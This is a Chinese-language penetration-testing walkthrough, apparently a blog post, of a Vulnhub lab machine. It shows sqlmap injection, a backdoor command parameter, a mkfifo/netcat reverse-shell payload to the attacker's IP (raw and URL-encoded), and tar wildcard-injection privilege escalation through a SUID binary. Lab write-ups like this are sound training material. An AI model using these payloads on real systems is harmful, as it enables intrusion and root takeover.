一、前言
由于在做靶机的时候,涉及到的渗透思路是非常的广泛,所以在写文章的时候都是挑重点来写,尽量的不饶弯路。具体有不不懂都的可以直接在文章下评论或者私信博主
如果不会导入Vulnhub靶机和配置网络环境的话,请点我直达发车文章!
1、靶机ip配置
- Kali IP:192.168.2.103
- 靶机IP:192.168.2.134
靶机ip获取方式如下图
2、渗透目标
- 获取到/home/目录下的flag文件
- 获取到/root/目录下的flag文件
3、渗透概括
- web目录扫描
- HPP(http参数污染)
- SQL注入
- RCE
- mkfifo与nc搭配反弹shell
- suid命令限制绕过提权
开始实战
一、信息获取
使用nmap工具对靶机做基本的信息收集nmap -sS -sV -A -T4 -p- 靶机IP
如下所示
可以看到,开放的端口就两个22/ssh 80/http
22/ssh
ssh可以直接pass掉了,这个版本基本上没有什么可利用的漏洞了,一般获取到了用户信息才使用这个
80/http
基本上大部分的漏洞都是存在于web服务上,我们访问看看,如下图。是一个注册页面
那么我们就注册一个账户,我这里就是注册的user/123456
,注册完之后我们再点击login
按钮登录
当我们登录成功之后,就会跳转到下图所示的页面
我们选择到Control
菜单,发现有一个提示信息
告诉我们了一个信息:http参数污染,简称HPP,造成原因是传递了具有相同名称的多个参数
二、目录扫描
由于没找到其他有用的信息,那么我们就用gobuster
工具爆一下这个网站的目录
gobuster dir -u "http://192.168.2.134/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
如下图,爆出了一个history.php
的php页面文件
我们访问一下history.php
这个页面
如下图,一片空白,大概率是要传一个参数,那么我们继续往下操作
退出账号之后,再访问history.php
这个页面发现多了一个信息,说明没有用户的活动
三、参数注入
我们重新登录之前创建好的账号,然后给一个?user=user
的参数
发现有东西出来了,user参数后面给的是我们注册时候的用户名,如果给不存在的用户名的话就会是空白页
这里我们试一下管理员账户admin
给出了一个GIthub
的项目地址
那我们就访问一下这个项目地址
进入html
文件夹,发现这个就是我们扫描出来的页面源文件
发现了一个值得注意的一行代码system($_GET['cmdcntr']);
这个代码会执行我们传给cmdcntr
参数的命令
那我们尝试利用一下
发现啥也没有,猜测应该是要使用admin
用户才能利用了
四、SQL注入
我们到history.php
这个界面,把Cookie拿一下,尝试对这个页面进行SQL注入
我们使用sqlmap
工具进行SQL注入
sqlmap -u "http://192.168.2.134/history.php?user=admin" --cookie="PHPSESSID=m7d8l5dghkpbvdiqqc4p147drq" --current-db --batch
如下图,跑出来了一个users
的数据库名
我们再脱一下表名
sqlmap -u "http://192.168.2.134/history.php?user=admin" --cookie="PHPSESSID=m7d8l5dghkpbvdiqqc4p147drq" -D users --tables --batch
如下图,有两个表,分别是log
和details
这两个
我们主要对details
进行dump
sqlmap -u "http://192.168.2.134/history.php?user=admin" --cookie="PHPSESSID=m7d8l5dghkpbvdiqqc4p147drq" -D users -T details --dump --batch
如下图,成功把details
这个表dump出来,我们也拿到了admin
用户的密码myadmin#p4szw0r4d
我们用获取到的admin
账户和密码进行登录
我们再到Contorl.php
页面的cmdcntr
参数传递命令whoami
如下图,我们输入的命令已经成功执行并显示
五、获取shell
我们现在需要进行编写反弹shell
的payload,并且在kali上用nc -lvvp 1234
来监听shell
#payload如下,由于内容比较多,我们不能直接将这个传入到网站,需要先对其进行URL编码才能使用
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|dash -i 2>&1|nc 192.168.2.103 1234 >/tmp/f
#URL编码之后的payload
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cdash%20-i%202%3E%261%7Cnc%20192.168.2.103%201234%20%3E%2Ftmp%2Ff
我们将编码之后的payload传入给这个页面
如下图,我们的kali已经监听到shell了
我们使用$ python3 -c 'import pty;pty.spawn("/bin/bash")'
命令升级一下shell
六、提权
我们查看一下/home
目录下的用户
发现了一个john
用户
我们尝试使用我们在之前进行SQL注入获得的john的密码Sup3r$S3cr3t$PasSW0RD
进行登录
我们尝试使用sudo -l
命令看一下,发现没有可以利用的东西
我们到john用户的家目录看一下,发现了一个flag文件user.txt
,用cat命令查看,获取到我们的第一个flag
还有一个具有suid
权限的可执行文件compress
我们使用scp
把compress
文件传到我们的kali上面研究一下
scp compress root@192.168.2.103:/root/share/
我们使用strings
工具看一下这个文件的字符串
发现了一个命令/bin/tar cf archive.tar *
这个命令的功能就是将当前目录的所有文件创建为一个归档文件,并且文件名为archive.tar
我们通过如下命令进行提权
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=bash'
./compress
上面的提权过程可能和会感觉到很突兀,那么我在这里解释这里提权的原理
正常来说,我们在这个靶机进行tar的suid提权的payload应该是这样的
./bin/tar -cf archive.tar /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
但是我们的/bin/tar并没有suid权限,转而代替的是compress文件具有suid权限
那么意思就是在我们运行compress文件的时候,我们就可以理解为以suid权限执行/bin/tar命令
但是我们compress这个可执行文件所执行的命令是/bin/tar cf archive.tar *
我们没有办法更改它所执行的命令,但是我们可以注意到有一个*
符号,这个意思就是代替我们当前目录下的所有文件
那么当我们目录下存在名为
'--checkpoint=1'
和'--checkpoint-action=exec=bash'
文件的时候
我们再执行./compress
的时候,其所执行的/bin/tar cf archive.tar *
语句就会发生改变
这个语句就会变成/bin/tar cf archive.tar user.txt --checkpoint=1 --checkpoint-action=exec=bash
从而达到我们提权的目的
查看root目录下的flag文件root.txt
至此该靶机的渗透完成